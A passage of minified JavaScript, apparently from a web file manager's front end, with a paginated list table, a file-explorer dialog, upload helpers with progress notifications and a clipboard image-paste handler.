";this.columns=i,this.target.find(".content .list-table").html(l)},"refresh":function(){arguments[0]&&(this.config.data=arguments[0]),this.pageing.currentPathPage=arguments[1]||1;var i=this;this.request(function(e,t){i.trigger("list.after",i.currentPath,t),i.dataList(e)})},"request":function(i){var e={"page":this.pageing.currentPathPage,"pageNum":this.pageing.pageNum},t=this.config.order,n=(t&&(e.sortField=isNaN(parseInt(t[0]))?t[0]:this.config.items[t[0]].field,e.sortType=t[1]),this.target.find(".toolbar .search-box").length&&(e.words=this.searchValue),this),a=Tips.loadingMask();Object.assign(e,this.config.data),this.config.request(e,function(e){a.close();var t=!!_.isObject(e.pageInfo)&&e.pageInfo;e&&_.isArray(e.list)||(e={"list":[]}),n.currentCount=e.list.length,i(e.list,t)})},"dataList":function(t){if(this.target){var e,i="",r=(t!=undefined&&Object.keys(t).length||(i+='
'+LNG["explorer.noData"]+"
"),function r(e,t,i){var n,a={},o=(_.get(e,"attr.formatter")&&(a=e.attr.formatter(i)),$.objClone(e)),s=(o.attr=o.attr||{},o.attr=$.extend({},o.attr,a),_.unset(o.attr,"formatter"),[]);for(n in o.attr["class"]="list-"+t+(o.attr["class"]?" "+o.attr["class"]:""),o.attr)s.push(n+'="'+o.attr[n]+'"');return s.join(" ")}),n=this.columns;for(e in t=_.filter(t)){var a,o="",s=t[e];for(a in n){var l=a.split("_@_")[0],c=s[l],d=n[a];_.isFunction(n[a].formatter)&&(c=n[a].formatter(c,e,t)),o+="
'+c+"
"}i+="
"+o+"
"}var h=this.target.find(".content .list-table");h.children(":not(.title)").remove(),h.append(i),h.find(".list-row:not(.title)").each(function(e){$(this).addClass("row-content"),$(this).data("rowItem",t[e])}),this.trigger("after.table.make"),""==trim(this.target.find(".toolbar").text())?this.target.find(".toolbar").hide():this.target.find(".toolbar").show(),this.target.find(".table-empty-info").length?this.target.find(".footerbar .list-page").hide():this.target.find(".footerbar .list-page").show()}},"getRowData":function(e){return!(!e||!e.hasClass("row-content"))&&e.data("rowItem")},"bindNotify":function(){var i=this;this.listenTo(this.pageing,"change",function(e){this.refresh(i.config.data,e)}),this.listenTo(i,{"list.after":function(e,t){i.pageing.pageLoad(t,e)}})}})},function(e,t,o){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});t.ExplorerDialog=ExplorerMain.extend({"el":"","viewType":"explorerDialog","init":function(e){this.initParam=e,this.explorerRoot=e.explorerRoot,this.initDialog(e),this.initCommon(e),this.pathOpen=e.pathOpen||"",this.pathFile=e.pathFile||"","{source:home}"==this.pathOpen&&(this.pathOpen=""),this.bindNotifyExplorer()},"initDialog":function(e){var t=this,i=o(27),i=this.renderHtml(i,{},!1),n=this.dialogPosition(),a=UUID(),n={"padding":0,"fixed":!0,"width":n.width,"height":n.height,"resize":!0,"ico":"","title":"file","content":i,"ok":!1,"close":function(){t.objectRemove(t)},"resizeCallback":function(){t.trigger("viewResize"),t.trigger("file.continer.resize")}};(n=$.extend(!0,n,e)).className=a+" explorer-dialog-open "+e.className,this.dialog=$.dialog(n),this.$el=$("."+a+" .aui-content"),this.dialog.$main.find(".aui-mask").remove(),this.dialog.zIndex();i=15*($(".explorer-dialog-open").length-1);this.dialog.$main.css({"left":"+="+i+"px","top":"+="+i+"px"}),this.bindResize(),$("body").attr("kod-lang",G.lang||"")},"bindNotifyExplorer":function(){var t=this,i=(this.initParam.initCallback&&this._delay(function(){this.initParam.initCallback.apply(this.pathAction)},10),this.initParam.openPathCallback&&this.listenToOnce(this.path,{"list.after":function(){this.initParam.openPathCallback.apply(this.pathAction)}}),this.listenTo(this.path,{"list.after":function(e,t,i){t=this.pathData.pathAddress(t);this.dialog.title(t.icon+t.name)}}),this.dialog.$main);i.bind("mousedown",function(e){1!=e.which||$.targetParent(e,".aui-main")||$(document).one("mouseup",function(e){$.isEdit()||i.hasClass("dialog-min-size")||t.focus()})}),this.pathFile&&this.pathAction.openFatherSelect(this.pathFile,!1)},"listenTree":function(){this.listenTo(this.tree,{"initAfter":function(){var e=this.pathOpen||this.history.historyPath()||G.user.myhome;this.path.initPath(e)},"nodeSelect":function(e){this.root.doAction("open",e.$node)}})},"bindResize":function(){var e=this.dialog.$main,t=function t(){e.width()<600?e.addClass("app-wap-small"):e.removeClass("app-wap-small")};t=_.debounce(_.bind(t,this),50),this.bind("viewResize",t),t()},"dialogPosition":function(){return{"width":"80%","height":"75%"}}})},,function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=i(28),o=(i=i)&&i.__esModule?i:{"default":i};t["default"]=ClassBase.extend({"init":function(){},"fileSave":function(e,t,i,n){this.upload(e,"",i,{"uploadApi":API_URL("explorer/upload/fileUpload"),"postParam":{"fileSave":"1","fileInfo":"1"},"tipsID":n||"","tipsLoading":LNG["explorer.saving"],"tipsError":LNG["explorer.saveError"],"tipsSuccess":LNG["explorer.saveSuccess"],"uploadTo":t})},"upload":function(e,t,i,n){!t&&e instanceof window.File&&(t=e.name);var a={"uploadApi":API_URL("explorer/attachment/upload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)},n=($.extend(!0,a,n||{}),new o["default"]({"parent":this,"paramData":a}));this.uploadViewEvent(n,i),n.uploadContent(e,t)},"uploadFile":function(e,t,i){var n={"uploadApi":API_URL("explorer/upload/fileUpload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)},t=($.extend(!0,n,t||{}),new o["default"]({"parent":this,"paramData":n}));this.uploadViewEvent(t,i),t.uploadContent(e)},"uploadViewEvent":function(l,t){var e=this,i=[],n=!1,c=l.paramData.tipsLoading||LNG["explorer.uploading"],a=l.paramData.tipsError||LNG["explorer.upload.error"],o=l.paramData.tipsSuccess||LNG["explorer.upload.success"],s="uploadView"+UUID(),d=!(this[s]=l).paramData.single,h=Tips.notify({"id":l.paramData.tipsID||"","title":c,"delayClose":1500,"icon":" ri-upload-fill-2","process":{"process":0},"onClose":function(){l.objectRemove(),delete e[s]}}),r=function r(){var e;d&&(e=l.uploader.getStatus(),e=o+" "+e.success+"/"+e.total,h.icon("success").title(e).processHide().close()),t&&t(i)};this.listenTo(l,{"itemUploadProcess":function(e,t){var i=pathTools.fileSize,n=l.uploader.transfer||{},a=n.needTime?"; "+LNG["explorer.upload.needTime"]+" "+n.needTime:"",a=n.speed+a,o=(100*n.percent).toFixed(1)+"%",i=i(n.sizeTotal*n.percent)+"/"+i(n.sizeTotal),s="",r=(d&&(s=" "+((r=l.uploader.getStatus()).success+1)+"/"+r.total),"md5Read"==e.uploadPercentType?(r=(100*e.percentMd5).toFixed(1),a=LNG["explorer.upload.scan"]+" "+r+"%"):1==e.percent&&(a=LNG["explorer.upload.merge"]+"..."),'\n\t\t\t\t
\n\t\t\t\t\t'+a+'\n\t\t\t\t\t'+i+s+"\n\t\t\t\t
");h.title(c+o).process({"process":n.percent,"text":r})},"itemUploadSuccess":function(e,t){if(!t.code||!t.info)return d?Tips.notify.tips({"title":a,"icon":"error","delay":2e3}):h.title(a).icon("error").processHide().close(3e3);d?i.push(t.info):(i=t.info,h.icon("success").process({"process":1,"text":LNG["explorer.saved"]}).title(o).close()),n&&r()},"itemUploadError":function(e,t){var i=t.data||(_.isString(t)?t:""),i=a+" "+i;if(!t.code||!t.info)return d?Tips.notify.tips({"title":i,"icon":"error","delay":2e3}):h.title(i).icon("error").processHide().close(3e3)},"uploadFinished":function(){if(!l.uploader.getStatus().finished)return n=!0;r()}})},"bindPast":function(e,t){var i=this;$(e).on("paste",function(e){i.pasteImage(e,t)})},"pasteImage":function(s,r,l){var i,c=this,e=s.originalEvent||window.event;e&&e.clipboardData&&e.clipboardData.items&&((l=l||{}).postParam=l.postParam||{},i=[],_.each(e.clipboardData.items,function(e){var t;"string"!=e.kind&&(t=(e=e.getAsFile()).name||"",l.allowAllFiles?(e.type||1"+i+"","hash":e,"time":timeFloat()})},o=function o(t,i){var n=i;try{n=t.render(i||""),_.each(s,function(e){n=e(n)})}catch(e){}return n},s=[],d=function d(e){for(var t={"h1":"heading_open","h2":"heading_open","h3":"heading_open","h4":"heading_open","h5":"heading_open","h6":"heading_open","table":"table_open","blockquote":"blockquote_open","ul":"bullet_list_open","p":"paragraph_open","code":"fence"},i=[],n=markdownit().parse(e,{"references":{}}),a=_.keys(t),o=0;o